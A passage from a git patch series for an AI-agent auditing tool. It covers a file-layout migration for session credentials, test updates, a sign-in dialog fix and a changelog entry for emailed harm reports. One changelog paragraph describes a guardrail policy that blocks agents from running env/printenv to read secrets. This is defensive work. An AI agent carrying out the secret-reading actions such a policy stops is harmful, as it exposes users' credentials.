an empty policy set. { path: policiesDir, class: "user-typed" }, + // The signed-in session. `auth.json` at the home root through layout 3, where + // it was in NEITHER this table nor the delete list — undeleted by oversight + // rather than by decision, which is the state this table exists to make + // impossible. Nothing regenerates a session; losing it signs the machine out + // with no notice, and the machine only finds out the next time it tries to + // report. + { path: auditSessionFile, class: "user-typed" }, + // Layout 3's `next-audit.json`, same story: a cadence a person chose. + { path: auditReminderFile, class: "user-typed" }, // ── Never deleted: recorded and not yet shipped ── // Batches read out of transcripts and queued for upload. The reason losing @@ -471,10 +552,23 @@ export const HOME_CLASSES: readonly { path: (home?: string) => string; class: Da // deleting the backup is deleting the undo for the step that just ran. { path: migrationsDir, class: "identity" }, + // This machine's report identity + digest watermark. `identity` for the same + // reason `cursorsDir` is: a new id is a new machine to the api-server, which + // burns a slot off the account's machine cap, and a reset watermark re-reports + // history the user was already told about. Kept OUT of `auditSessionFile` + // precisely so both survive a sign-out. + { path: auditMachineFile, class: "identity" }, + // ── May be dropped: rebuilt on demand ── - { path: auditDir, class: "derived" }, - { path: collectorHealthFile, class: "derived" }, + // NOTE: `auditDir` itself is deliberately absent. Layout 4 made it MIXED — it + // holds the session and the machine identity above alongside these three — so + // it is classified per-file, exactly like `stateDir`. Listing the parent here + // (which layout 3 did, correctly for what it then held) would put the token on + // the delete list. + { path: auditDashboardFile, class: "derived" }, + { path: auditCacheDir, class: "derived" }, { path: auditScheduleFile, class: "derived" }, + { path: collectorHealthFile, class: "derived" }, { path: codexSessionPathsFile, class: "derived" }, { path: shimsDir, class: "derived" }, { path: sessionPauseDir, class: "derived" }, @@ -555,6 +649,18 @@ export const legacy = { launcherMarker: () => at(".launcher-configured"), lastVersion: () => at("last-version"), auditDashboard: () => at("audit-dashboard.json"), + /** + * Layout 3's audit-owned files, before layout 4 gathered them under `audit/`. + * + * The first two were never classified in `HOME_CLASSES`, so unlike every other + * entry in this map they were not on any delete list — the layout-4 step MOVES + * them and there is no older copy to prune. They are here so that step can + * find them, and so `filesToBackUp()` copies them aside first: a bug in the + * move would otherwise take a live session with it. + */ + authJson: () => at("auth.json"), + nextAudit: () => at("next-audit.json"), + auditSchedule: () => at("state", "audit-schedule.json"), cacheDir: () => at("cache"), hookActivityDir: () => at("cache", "hook-activity"), auditCacheDir: () => at("cache", "audit"), diff --git a/src/hooks/migrations.ts b/src/hooks/migrations.ts index 1f551d43..2c02c2d2 100644 --- a/src/hooks/migrations.ts +++ b/src/hooks/migrations.ts @@ -37,11 +37,23 @@ * than counting. A chain from 1 today is one step; when layout 4 lands it becomes * `1 → 3` then `3 → 4`, and only the second has to be written. */ -import { copyFileSync, existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from "node:fs"; +import { + chmodSync, + copyFileSync, + existsSync, + mkdirSync, + readFileSync, + renameSync, + rmSync, + writeFileSync, +} from "node:fs"; import { basename, dirname, resolve } from "node:path"; import { version as cliVersion } from "../../package.json"; import { LAYOUT_VERSION, + auditReminderFile, + auditScheduleFile, + auditSessionFile, configFile, credentialsFile, failproofaiHome, @@ -52,6 +64,7 @@ import { migrationsDir, versionFile, } from "./fp-home"; +import { writeVersionFile } from "./fp-config"; import { resetHome, type ResetOutcome } from "./fp-reset"; export interface Migration { @@ -87,8 +100,87 @@ export const MIGRATIONS: readonly Migration[] = [ "layout 2 → 3: carry config.toml and credentials.toml into JSON, move custom-policies/ back up into policies/, nest the policy config at the root", run: () => resetHome(2), }, + { + from: 3, + to: 4, + describe: + "layout 3 → 4: gather the audit's files under audit/ — auth.json becomes audit/session.json, next-audit.json becomes audit/reminder.json, state/audit-schedule.json becomes audit/schedule.json", + run: migrateToLayout4, + }, ]; +/** + * Layout 3 → 4. The first step written against this registry rather than + * delegating to `resetHome`, which is what the header promised: additive. + * + * Three moves, no deletions. Each is a rename with a copy fallback, because + * `audit/` and the home root can sit on different filesystems once `$HOME` is a + * network mount or the home has been assembled by a container bind — `rename(2)` + * returns `EXDEV` there, and a step that threw on it would strand the machine at + * layout 3 forever. + * + * **A missing source is success, not failure.** Most homes have never signed in, + * so `auth.json` and `next-audit.json` are absent on the majority of machines, + * and a scheduled scan that has never run leaves no `audit-schedule.json`. Only + * a source that EXISTS and could not be moved is an error worth stopping for. + * + * **A destination that already exists wins.** Re-running the step — which is + * exactly what happens when a later step in the same chain throws and the user + * retries — must not copy a stale layout-3 file back over the layout-4 one that + * has since been written to. + */ +function migrateToLayout4(): ResetOutcome { + const moves: { from: string; to: string }[] = [ + { from: legacy.authJson(), to: auditSessionFile() }, + { from: legacy.nextAudit(), to: auditReminderFile() }, + { from: legacy.auditSchedule(), to: auditScheduleFile() }, + ]; + + const migrated: string[] = []; + for (const { from, to } of moves) { + if (!existsSync(from)) continue; + if (existsSync(to)) { + // The layout-4 file is already authoritative. Drop the stale original + // rather than leaving a second copy of a credential lying at the root. + try { + rmSync(from, { force: true }); + } catch { + // Reported by its continued presence; not worth failing the chain. + } + continue; + } + mkdirSync(dirname(to), { recursive: true }); + try { + renameSync(from, to); + } catch { + // EXDEV, or a rename racing something holding the file open on Windows. + copyFileSync(from, to); + rmSync(from, { force: true }); + } + migrated.push(`${basename(from)} → audit/${basename(to)}`); + } + + // `session.json` carries tokens and `auth.json` was written 0600 by + // `writeJsonAtomically`. A rename preserves the mode, but a copy fallback + // inherits the process umask — so reassert it rather than assume which branch + // ran. Belt and braces on a file whose whole content is a bearer credential. + for (const secret of [auditSessionFile()]) { + if (!existsSync(secret)) continue; + try { + chmodSync(secret, 0o600); + } catch { + // Best effort, exactly as `writeJsonAtomically` treats it. + } + } + + // The same stamper every other write of this file goes through. Hand-rolling + // the JSON here would drop `daemon`, which nothing on this path touches and + // which `daemonVersionSkew()` reads on every CLI command. + writeVersionFile(); + + return { removed: [], migrated, activity: [], policyConfig: [], spooled: [], from: 3 }; +} + /** * The steps that take `from` to {@link LAYOUT_VERSION}. * @@ -256,6 +348,14 @@ const BACKED_UP_LEGACY: BackedUpFile[] = [ // most incomplete exactly where it mattered most. { at: legacy.cloudCredentials }, { at: legacy.ingestCredentials }, + // The three files the layout-4 step MOVES. `auth.json` is the one that + // matters: it is a live bearer credential, and unlike every other entry here + // it was never on a delete list — so it has never had a copy taken before a + // migration touched it. A move is not a deletion, but a move with a bug in it + // is, and this is the only insurance against that. + { at: legacy.authJson }, + { at: legacy.nextAudit }, + { at: legacy.auditSchedule }, ]; /** The name a file is saved under inside `backup-layout/`. */ From 99a7c7c1117e70159bd73d9f5003aabd61af09ba Mon Sep 17 00:00:00 2001 From: SiddarthAA Date: Fri, 14 Aug 2026 17:12:27 +0530 Subject: [PATCH 02/24] Point the audit-lane e2e tests at the layout-4 schedule path MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Two helpers in audit_lane_e2e.rs carried the old location: schedule_path() wrote and read state/audit-schedule.json, and the unwritable-home test made `state` a regular file to force create_dir_all to fail. Both are spelled out rather than derived from paths.rs, deliberately — a test that asked the code under test where the file goes would keep passing if the daemon moved it somewhere the dashboard never reads. The cost is that they have to be updated by hand when the path moves, which is this commit. The second one is the reason to say so out loud: blocking the wrong directory does not fail loudly, it lets the write succeed and leaves the test asserting against a complaint that never comes. Co-Authored-By: Claude Opus 5 (1M context) --- crates/failproofaid/tests/audit_lane_e2e.rs | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) diff --git a/crates/failproofaid/tests/audit_lane_e2e.rs b/crates/failproofaid/tests/audit_lane_e2e.rs index 66b91a54..43913dd5 100644 --- a/crates/failproofaid/tests/audit_lane_e2e.rs +++ b/crates/failproofaid/tests/audit_lane_e2e.rs @@ -124,8 +124,12 @@ fn wait_for(path: &Path, within: Duration) -> bool { false } +/// Spelled out rather than calling `paths::audit_schedule_path()`, so this +/// asserts the LOCATION as well as the round trip: a test that derived the path +/// from the code under test would keep passing if the daemon moved the file +/// somewhere the dashboard never reads. Layout 4 moved it out of `state/`. fn schedule_path(home: &Path) -> PathBuf { - home.join("state").join("audit-schedule.json") + home.join("audit").join("schedule.json") } fn write_schedule(home: &Path, body: &str) { @@ -312,9 +316,12 @@ fn a_schedule_that_cannot_be_written_is_reported_once_not_once_a_tick() { r#"{"audit":{"auto":true,"interval_days":7}}"#, ) .unwrap(); - // `state` as a regular file: create_dir_all fails with EEXIST, which is the - // same shape as a read-only mount or a full disk and needs no root to set up. - std::fs::write(home.join("state"), "not a directory").unwrap(); + // `audit` as a regular file: create_dir_all fails with EEXIST, which is the + // same shape as a read-only mount or a full disk and needs no root to set + // up. It was `state` until layout 4 moved the schedule into `audit/` — and + // blocking the wrong directory does not fail loudly here, it just lets the + // write succeed and the test assert against a complaint that never comes. + std::fs::write(home.join("audit"), "not a directory").unwrap(); let marker = home.join("ran"); let daemon = spawn_daemon(&home, &stub_cli(&marker, 0)); From 42a78d9f275567107bffab06ae7173faba8fa3d6 Mon Sep 17 00:00:00 2001 From: SiddarthAA Date: Fri, 14 Aug 2026 17:46:04 +0530 Subject: [PATCH 03/24] Resume the CTA that opened the sign-in dialog, not always the reminder MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The reminder and "invite a friend" buttons share one AuthDialog, and which one opened it was tracked only as `authCopy` — the headline and subhead to show — while handleAuthed unconditionally called persistReminder. So the dialog knew which button had been pressed for the purpose of its own COPY and not for the purpose of its own EFFECT, and the invite path did the reminder path's work: click "invite a friend", read "Oops! Login required", sign in, and you got a 7-day reminder you never asked for and no invite dialog. The actual intent went on the floor. An explicit `pendingAction` carries the intent now, and the copy is DERIVED from it so the two cannot disagree. The cadence travels inside the action rather than being read from state at resume time, so the reminder that lands is the one whose button was pressed even if something re-rendered in between. Dismissing clears it — leaving it set would make the next sign-in, from any CTA, resume something the user had walked away from — and "no pending action" is now expressible at all, which it was not before. The tests were the other half of why this shipped: they covered which COPY each CTA shows and nothing else, so they were exactly as green on the broken version as on the fixed one. Three now pin the effect. Co-Authored-By: Claude Opus 5 (1M context) --- CHANGELOG.md | 2 + .../audit/come-back-better-section.test.tsx | 134 +++++++++++++++++- .../_components/come-back-better-section.tsx | 98 ++++++++++--- 3 files changed, 214 insertions(+), 20 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index cbf911b5..51f5e128 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,6 +8,8 @@ ### Fixes +- Resume the CTA that opened the sign-in dialog, instead of assuming it was the reminder. The reminder and "invite a friend" buttons share one `AuthDialog`, and which one opened it was tracked only as `authCopy` — the headline and subhead to show — while `handleAuthed` unconditionally called `persistReminder`. So the dialog knew which button had been pressed for the purpose of its own COPY and not for the purpose of its own EFFECT, and the invite path did the reminder path's work: a user who clicked *invite a friend*, read "Oops! Login required", and signed in got a 7-day reminder they never asked for, and no invite dialog — their actual intent dropped on the floor. An explicit `pendingAction` now carries the intent (and, for a reminder, the cadence whose button was actually pressed, so a re-render between click and verify cannot change which one lands); the copy is DERIVED from it, so the two can no longer disagree, and a third CTA means adding a case rather than remembering to branch inside a handler that has no idea it is shared. Dismissing the dialog clears the intent, because leaving it set would make the next sign-in — from any other CTA — resume something the user had walked away from; and "no pending action" is now expressible at all, which it was not before. The component's tests were the other half of the story: they covered which COPY each CTA shows and nothing else, so they were exactly as green on the broken version as on the fixed one. Three tests now pin the effect — invite resumes the invite dialog and writes no reminder, a cadence button still writes its reminder, and a dismissed dialog abandons the intent. (#698) + - Stop `detectLayout()` deriving a landmark's layout from whatever this build speaks. `config.toml` with no `config.json` returned `LAYOUT_VERSION - 1`, which read correctly while current was 3 and became silent data loss at 4: a genuine layout-2 home was reported as layout 3, so `planMigration` ran only the 3 → 4 step — which finds none of layout 3's files, moves nothing, and stamps the home as current. `config.toml` and `credentials.toml` would never be carried into JSON, orphaning the cloud token and `daemon.configured` on a machine that then reads as fully migrated. A landmark identifies ONE layout and is never relative. The `config.json` branch above it had the same shape with a different ending: that file proves "layout 3 or later" and cannot separate the two, so a layout-3 home that lost its `VERSION` was called current, the 3 → 4 move never ran, and the user was silently signed out with `auth.json` still sitting on disk. What actually separates 3 from 4 is where the audit's files sit, so it now asks that directly — any of the three still at the root means stale — and when none are present the two layouts are identical on disk, the step would move nothing, and current is the correct non-destructive answer. Found by the layout-4 bump: the assertion that caught it was pinned to `2` and started failing the moment the constant moved, which is the whole reason it was written that way. (#695) - Move the nightly doc translation onto the canary box too, so one machine and one installer carry both scheduled jobs. Runner minutes were the entire cost of both crons; the LLM spend is identical wherever they run. The runner image already knew how to lock, check out a ref and hand off to a script from that checkout, so `$CANARY_JOB` now selects WHICH script — `jobs/canary.sh` (the integration suite, 11:00 local) or `jobs/translate.sh` (the translation, 02:00 local) — resolved to a path rather than through a case statement, so a third job is a new file in the repo and never an image rebuild. Everything per-run is keyed by job: the **lock** above all, because one shared lock lets a canary wedged on a vendor CLI swallow the night's translation and the swallow is a clean `exit 0` that reports nowhere; also the clone, since translate commits and switches branches inside its checkout, and the log. `install.sh` grew `--jobs`, per-job `--at-*` flags and one cron line per job, each behind its own marker so installing one never strips the other's; it validates credentials **per job**, so installing only the canary never demands a translation PAT, and it prints the timezone cron resolved, because "02:00" read as UTC on an IST box is 07:30 and the person reading the output is the one who would be surprised. Three things collapse in the move and are why the job is shorter than the workflow it replaces: the 14-way matrix was runner parallelism, not translation structure (cli.ts already fans out over pages x languages under one limit, so one process at `TRANSLATE_MAX_CONCURRENT=16` reproduces CI's exact peak of `max-parallel: 4` x 4 — which deletes the artifact round-trip, the per-language cache fragments and the ~35-line script that merged them); the Actions cache layer becomes a 13 KB file symlinked into the checkout from the work dir; and `consolidate`'s re-checkout-and-overlay existed only because its siblings ran on other machines. The one genuinely new credential is a push token — Actions minted a repo-scoped `GITHUB_TOKEN` that died with the job, and a box needs a long-lived fine-grained PAT, which is why it goes in a git credential helper rather than the remote URL: git echoes the remote back on a push error and the Slack crash-note carries the log tail. The translate job posts **nothing** to Slack — its output is the pull request it opens, which the PR list already says; its failures land in the run log and the exit code. The canary keeps reporting on every run including the quiet ones, so silence from it means the box did not run rather than that all was well. (#694) diff --git a/__tests__/audit/come-back-better-section.test.tsx b/__tests__/audit/come-back-better-section.test.tsx index b381ec7b..b823ec6b 100644 --- a/__tests__/audit/come-back-better-section.test.tsx +++ b/__tests__/audit/come-back-better-section.test.tsx @@ -1,8 +1,12 @@ /** - * The reminder and "invite a friend" CTAs share one AuthDialog. For an unauthed - * user, the dialog content must differ by which CTA opened it — invite shows - * "Oops! Login required", reminder keeps its default copy — while the auth flow - * itself stays identical. These tests pin that behavior end-to-end. + * The reminder and "invite a friend" CTAs share one AuthDialog. + * + * Two things must differ by which CTA opened it: the dialog's COPY, and — the + * part these tests were missing — what happens once auth SUCCEEDS. The copy + * cases below were the whole of this file, and they passed happily while signing + * in from the invite button set a reminder nobody asked for and never opened the + * invite dialog at all. A test that pins the label and not the effect is exactly + * as green on the broken version as on the fixed one. */ import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; import { render, screen, fireEvent, waitFor, cleanup } from "@testing-library/react"; @@ -59,3 +63,125 @@ describe("ComeBackBetterSection shared AuthDialog copy", () => { expect(screen.queryByText("Oops! Login required")).toBeNull(); }); }); + +// ── What happens AFTER the dialog succeeds ─────────────────────────────────── + +/** Drive the shared AuthDialog through email → code → verified. */ +async function completeAuth(email = "sidd@exosphere.host") { + fireEvent.change(await screen.findByPlaceholderText("you@yourdomain.com"), { + target: { value: email }, + }); + fireEvent.click(screen.getByRole("button", { name: "send code" })); + fireEvent.change(await screen.findByPlaceholderText("123456"), { + target: { value: "123456" }, + }); + fireEvent.click(screen.getByRole("button", { name: "verify" })); +} + +/** + * A fetch double that records every call and answers the three routes this + * component touches. Returns the recorder so a test can assert what was — and + * crucially what was NOT — requested. + */ +function stubAuthFetch() { + const calls: { url: string; method: string }[] = []; + vi.stubGlobal( + "fetch", + vi.fn(async (input: RequestInfo | URL, init?: RequestInit) => { + const url = String(input); + const method = init?.method ?? "GET"; + calls.push({ url, method }); + const json = (body: unknown) => + new Response(JSON.stringify(body), { + status: 200, + headers: { "content-type": "application/json" }, + }); + if (url.includes("/api/auth/status")) { + return json({ authenticated: false, reminder: null }); + } + if (url.includes("/api/auth/login-request")) { + return json({ status: "code_sent", expires_in: 600, resend_available_in: 30 }); + } + if (url.includes("/api/auth/login-verify")) { + return json({ + authenticated: true, + user: { id: "u1", email: "sidd@exosphere.host" }, + }); + } + if (url.includes("/api/auth/reminder")) { + return json({ + authenticated: true, + reminder: { next_audit_at: 1, user_email: "sidd@exosphere.host", set_at: 0 }, + }); + } + return json({}); + }), + ); + return calls; +} + +describe("ComeBackBetterSection resumes the CTA that opened the dialog", () => { + it("signing in from 'invite a friend' opens the invite dialog and sets NO reminder", async () => { + // The regression. `handleAuthed` was shared by both CTAs and unconditionally + // called persistReminder, so this exact path scheduled a 7-day reminder the + // user never asked for AND dropped the invite they did. + const calls = stubAuthFetch(); + render(); + + fireEvent.click(await screen.findByText("invite a friend")); + await screen.findByText("Oops! Login required"); + await completeAuth(); + + // The intent is resumed: the invite dialog is now open. Asserted on its + // recipients field rather than a heading, so the test proves the user can + // actually get on with inviting rather than that some element appeared. + expect( + await screen.findByPlaceholderText(/alice@x\.com/, {}, { timeout: 3000 }), + ).toBeInTheDocument(); + + // And nothing wrote a reminder. + expect( + calls.some((c) => c.url.includes("/api/auth/reminder") && c.method === "POST"), + ).toBe(false); + }); + + it("signing in from a cadence button sets that reminder and opens no invite dialog", async () => { + // The other direction, so the fix cannot be "never persist a reminder". + const calls = stubAuthFetch(); + render(); + + const fourteenDay = await screen.findByRole("button", { name: "14d" }); + await waitFor(() => expect(fourteenDay).not.toBeDisabled()); + fireEvent.click(fourteenDay); + await screen.findByText("where to route the reminder?"); + await completeAuth(); + + await waitFor(() => + expect( + calls.some((c) => c.url.includes("/api/auth/reminder") && c.method === "POST"), + ).toBe(true), + ); + }); + + it("dismissing the dialog abandons the intent rather than deferring it", async () => { + // Otherwise the NEXT sign-in, from any CTA, resumes something the user + // already walked away from. + const calls = stubAuthFetch(); + render(); + + const sevenDay = await screen.findByRole("button", { name: "7d" }); + await waitFor(() => expect(sevenDay).not.toBeDisabled()); + fireEvent.click(sevenDay); + await screen.findByText("where to route the reminder?"); + fireEvent.click(screen.getByRole("button", { name: "cancel" })); + + // Reopen from the OTHER CTA and complete auth. + fireEvent.click(screen.getByText("invite a friend")); + await screen.findByText("Oops! Login required"); + await completeAuth(); + + expect( + calls.some((c) => c.url.includes("/api/auth/reminder") && c.method === "POST"), + ).toBe(false); + }); +}); diff --git a/app/audit/_components/come-back-better-section.tsx b/app/audit/_components/come-back-better-section.tsx index 68efcbf5..5c9036c8 100644 --- a/app/audit/_components/come-back-better-section.tsx +++ b/app/audit/_components/come-back-better-section.tsx @@ -45,6 +45,25 @@ const INVITE_AUTH_COPY = { subhead: "What's your email?", } as const; +/** + * What the user was trying to do when the AuthDialog opened. + * + * `null` means the dialog is closed. Every other value is a thing to RESUME + * once auth succeeds — which is the point: the dialog is shared, so the only + * safe way for it to finish is to be told what it was opened for. + */ +type PendingAction = + | null + /** Set a reminder at the cadence the user clicked. */ + | { kind: "reminder"; cadence: Cadence } + /** Open the invite dialog. */ + | { kind: "invite" }; + +/** The dialog's copy for a given intent. Derived, never stored separately. */ +function authCopyFor(action: PendingAction): { headline?: string; subhead?: string } { + return action?.kind === "invite" ? INVITE_AUTH_COPY : {}; +} + type AuthStatus = | { kind: "unknown" } | { kind: "anon" } @@ -78,10 +97,23 @@ export function ComeBackBetterSection({ isRunning, onRerun, score }: Props) { const [dialogOpen, setDialogOpen] = useState(false); const [inviteDialogOpen, setInviteDialogOpen] = useState(false); const [reminderBusy, setReminderBusy] = useState(false); - // Copy for the shared AuthDialog: {} keeps the reminder defaults, - // INVITE_AUTH_COPY shows the invite variant. Set by whichever CTA opens the - // dialog — content selection only, no effect on the auth flow. - const [authCopy, setAuthCopy] = useState<{ headline?: string; subhead?: string }>({}); + /** + * WHICH CTA opened the AuthDialog, and therefore what to do once it succeeds. + * + * This used to be tracked only as `authCopy` — the headline and subhead to + * show — while `handleAuthed` unconditionally called `persistReminder`. So the + * dialog knew which button had been pressed for the purpose of its own COPY + * and not for the purpose of its own EFFECT, and the invite path did the + * reminder path's work: a user who clicked "invite a friend", read "Oops! + * Login required", and signed in got a 7-day reminder they never asked for, + * and no invite dialog. Their actual intent was dropped on the floor. + * + * Modelling the intent instead of the copy is what stops that recurring. The + * copy is now DERIVED from it, so the two cannot disagree, and adding a third + * CTA means adding a case here rather than remembering to branch in a handler + * that has no idea it is shared. + */ + const [pendingAction, setPendingAction] = useState(null); const ctaShownRef = useRef(false); const lastRefreshAtRef = useRef(0); @@ -210,23 +242,48 @@ export function ComeBackBetterSection({ isRunning, onRerun, score }: Props) { return; } if (authStatus.kind === "anon") { - setAuthCopy({}); // reminder context → keep the dialog's default copy + setPendingAction({ kind: "reminder", cadence: next }); setDialogOpen(true); } }, [authStatus, capture, persistReminder, reminder], ); + /** + * Resume whatever the user was doing before they were asked to sign in. + * + * Reads `pendingAction` rather than assuming. Assuming is what it did before, + * and because the reminder CTA happened to be written first, "assume" meant + * "set a reminder" for every caller — including the invite button, which + * wanted something else entirely and got nothing. + * + * The cadence is carried IN the action rather than read from `cadence` state, + * so the reminder that lands is the one whose button was actually pressed, + * even if something re-rendered in between. + */ const handleAuthed = useCallback( async (user: AuthedUser) => { setAuthStatus({ kind: "authed", user }); + const action = pendingAction; capture("audit_auth_completed", { source: "come_back_better_section", + pending_action: action?.kind ?? "none", }); - const saved = await persistReminder(cadence); - if (saved) setReminder(saved); + setPendingAction(null); + + if (action?.kind === "reminder") { + const saved = await persistReminder(action.cadence); + if (saved) setReminder(saved); + return; + } + if (action?.kind === "invite") { + setInviteDialogOpen(true); + } + // No pending action: the dialog was dismissed and reopened, or opened by + // something that wants nothing but the sign-in. Doing nothing is correct + // — it is the case the old code had no way to express. }, - [cadence, capture, persistReminder], + [capture, pendingAction, persistReminder], ); const handleInvite = useCallback(() => { @@ -235,9 +292,10 @@ export function ComeBackBetterSection({ isRunning, onRerun, score }: Props) { auth_state: authStatus.kind, }); // Unauthed users go through the AuthDialog first so we have a sender - // identity to Cc on the invite email. + // identity to Cc on the invite email — and `pendingAction` is what brings + // them back HERE afterwards instead of somewhere else. if (authStatus.kind !== "authed") { - setAuthCopy(INVITE_AUTH_COPY); // invite context → "Oops! Login required" + setPendingAction({ kind: "invite" }); setDialogOpen(true); return; } @@ -311,11 +369,13 @@ export function ComeBackBetterSection({ isRunning, onRerun, score }: Props) { score={score} onClose={() => setInviteDialogOpen(false)} onUnauthorized={() => { - // Session expired between probe and submit — flip back to anon - // and bounce through the AuthDialog so the user re-auths. + // Session expired between probe and submit — flip back to anon and + // bounce through the AuthDialog so the user re-auths. Still the invite + // intent, so re-authing reopens THIS dialog rather than dropping them + // back on the page having achieved nothing. setAuthStatus({ kind: "anon" }); setReminder(null); - setAuthCopy(INVITE_AUTH_COPY); // still the invite context + setPendingAction({ kind: "invite" }); setDialogOpen(true); }} /> @@ -323,9 +383,15 @@ export function ComeBackBetterSection({ isRunning, onRerun, score }: Props) { setDialogOpen(false)} + headline={authCopyFor(pendingAction).headline} + subhead={authCopyFor(pendingAction).subhead} + onClose={() => { + // Dismissing is abandoning the intent. Leaving it set would make the + // NEXT sign-in — from any other CTA — resume something the user + // walked away from. + setPendingAction(null); + setDialogOpen(false); + }} onAuthed={(u) => { setDialogOpen(false); void handleAuthed(u); From dc5581ef24c10daa083dffa83fccf03af8cdc94e Mon Sep 17 00:00:00 2001 From: SiddarthAA Date: Fri, 14 Aug 2026 17:56:24 +0530 Subject: [PATCH 04/24] Report a scheduled audit's harmful findings, so the machine can tell you MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A new `[audit] email_enabled`, SEPARATE from `auto`. `audit --help` promises the scan "runs fully offline — no account or network required", and that has to stay true for anyone who wants scheduled scanning and nothing else. Off by default, for a stronger version of `auto`'s reason: the failure direction is a machine mailing an account nobody pointed it at. ## The window is applied per event, not through --since --since filters on transcript MTIME. That is right for deciding which files to open and wrong as a window: a session left open for a month has a fresh mtime, so --since 7d hands back that whole transcript including month-old events, and the first digest anyone received would describe everything their agent had ever done as though it happened that week. So the scan stays unfiltered and the window is applied in harm-report.ts, against the timestamps AuditCount already carries. Where activity straddles the boundary it counts the EXAMPLES inside the window rather than the policy's total — the cache stores counts, not event lists, so there is nothing to subtract. Undercounting is the safe direction: the server's threshold reads these, so it can delay a digest but never invent one. ## Harm is deny + sanitize, plus one by hand severityForBuiltin derives severity from the NAME PREFIX, so `protect-env-vars` reads as `warn` despite blocking `env`/`printenv` outright. Its whole subject is an agent reaching for the environment, which is the "read my keys" case this exists to report. Inheriting a scoring heuristic's blind spot into a security digest would be the wrong kind of consistency — so it is listed explicitly rather than by rewriting a function that feeds every historical score. ## One definition of "secret" SECRET_PATTERNS is exported from builtin-policies.ts, so blocking and redacting share a list instead of growing a second one beside it that eventually disagrees — and the direction it would disagree in is a live credential leaving a machine. The sanitize-* FUNCTIONS could not be reused: they are detectors returning a deny, not transforms returning scrubbed text. Masking runs BEFORE path-shortening. Shortening can cut a path mid-token, and a credential sliced in half stops matching its own pattern and ships as a fragment. ## machine.json is `identity`, and separate from the session Both its fields must outlive a sign-out: regenerate the id and the server sees a new machine on every logout, burning a cap slot and splitting one box's history in two; reset the watermark and the next report re-covers months. The id is minted fresh rather than reusing state/telemetry-id, so opting into a digest never links the anonymous telemetry person to a verified address. ## The child does this, never the daemon Refresh rotation is theft-detecting. Keeping the token inside the audit lock — which already serialises every entry point — is what stops a cross-process race from revoking every session a user has. Scheduled runs only, and nothing here can fail a scan: every error is an outcome, so a dead network or an expired session leaves the local audit working and its dashboard correct. Co-Authored-By: Claude Opus 5 (1M context) --- CHANGELOG.md | 2 + .../actions/update-scheduled-audit.test.ts | 2 +- __tests__/audit/harm-report.test.ts | 228 +++++++++++++++++ __tests__/audit/redact-example.test.ts | 121 +++++++++ __tests__/audit/report-harm.test.ts | 232 ++++++++++++++++++ __tests__/hooks/fp-home.test.ts | 20 +- __tests__/hooks/harness-extra-paths.test.ts | 4 +- lib/auth/api-server-client.ts | 50 ++++ src/audit/cli.ts | 24 ++ src/audit/harm-report.ts | 189 ++++++++++++++ src/audit/machine-store.ts | 120 +++++++++ src/audit/redact-example.ts | 113 +++++++++ src/audit/report-harm.ts | 144 +++++++++++ src/hooks/builtin-policies.ts | 26 ++ src/hooks/fp-config.ts | 33 ++- 15 files changed, 1294 insertions(+), 14 deletions(-) create mode 100644 __tests__/audit/harm-report.test.ts create mode 100644 __tests__/audit/redact-example.test.ts create mode 100644 __tests__/audit/report-harm.test.ts create mode 100644 src/audit/harm-report.ts create mode 100644 src/audit/machine-store.ts create mode 100644 src/audit/redact-example.ts create mode 100644 src/audit/report-harm.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 51f5e128..5c60795d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,8 @@ ### Features +- Report harmful findings from a scheduled audit, so the machine can tell you what its agent did instead of asking you to go and look. A new `[audit] email_enabled` — a SEPARATE switch from `auto`, because `audit --help` promises the scan "runs fully offline — no account or network required" and that must stay true for anyone who wants scheduled scanning and nothing else. Off by default, like `auto`, and for a stronger version of the same reason: the failure direction is a machine mailing an account nobody pointed it at. **The window is applied per event, not through `--since`.** `--since` filters on transcript MTIME, which is right for deciding which files to open and wrong as a window: a session left open for a month has a fresh mtime, so `--since 7d` hands back that whole transcript including month-old events, and the first digest anyone received would describe everything their agent had ever done as though it happened that week. The scan stays unfiltered and the window is applied here, against the timestamps `AuditCount` already carries. Where activity straddles the boundary the report counts the EXAMPLES inside it rather than the policy's total — the cache stores counts, not event lists, so there is nothing to subtract; undercounting is the safe direction because the server's threshold reads these, and it can delay a digest but never invent one. **Harm is `deny` + `sanitize`**, plus `protect-env-vars` by hand: `severityForBuiltin` derives severity from the NAME PREFIX, so a policy that blocks `env`/`printenv` outright reads as hygiene, and its whole subject is an agent reaching for the environment — inheriting a scoring heuristic's blind spot into a security digest would be the wrong kind of consistency. Examples are redacted before they leave, against `SECRET_PATTERNS` — now exported from `builtin-policies.ts`, so blocking and redacting share one definition of "secret" rather than growing a second list beside it that eventually disagrees. Masking runs BEFORE path-shortening, because shortening can cut a path mid-token and a credential sliced in half stops matching its own pattern and ships as a fragment. `~/.failproofai/audit/machine.json` holds the machine id and the digest watermark, both `identity` class: regenerate the id and the server sees a new machine on every logout, reset the watermark and the next report re-covers months. The id is minted fresh rather than reusing `state/telemetry-id`, so opting into a digest never links the anonymous telemetry person to a verified address. The whole path runs in the audit CHILD, never the daemon — refresh rotation is theft-detecting, and keeping the token inside the audit lock is what stops a cross-process race from revoking every session a user has. Scheduled runs only, and nothing in it can fail a scan: every error is an outcome, so a dead network or an expired session leaves the local audit working and its dashboard correct. (#698) + - Gather everything the audit owns under `audit/`, as layout 4. `auth.json` becomes `audit/session.json`, `next-audit.json` becomes `audit/reminder.json`, and `state/audit-schedule.json` becomes `audit/schedule.json`, so one directory answers "what does the audit know about this machine" the way `policies/` answers it for enforcement. Two new paths join them, and the split between them is the design rather than tidiness: `session.json` holds the tokens and is `user-typed`, while `machine.json` holds this machine's report id and its digest watermark and is `identity`. Both fields have to outlive a sign-out — regenerate the id and the server sees a brand-new machine on every logout, reset the watermark and the next digest re-reports months of history as though it just happened — so they cannot live in the file a sign-out deletes. **`auditDir` is now deliberately absent from `HOME_CLASSES`.** It was classified `derived` wholesale, which was correct for a directory holding two caches and became a trap the moment a credential moved in: `resettablePaths()` is a filter 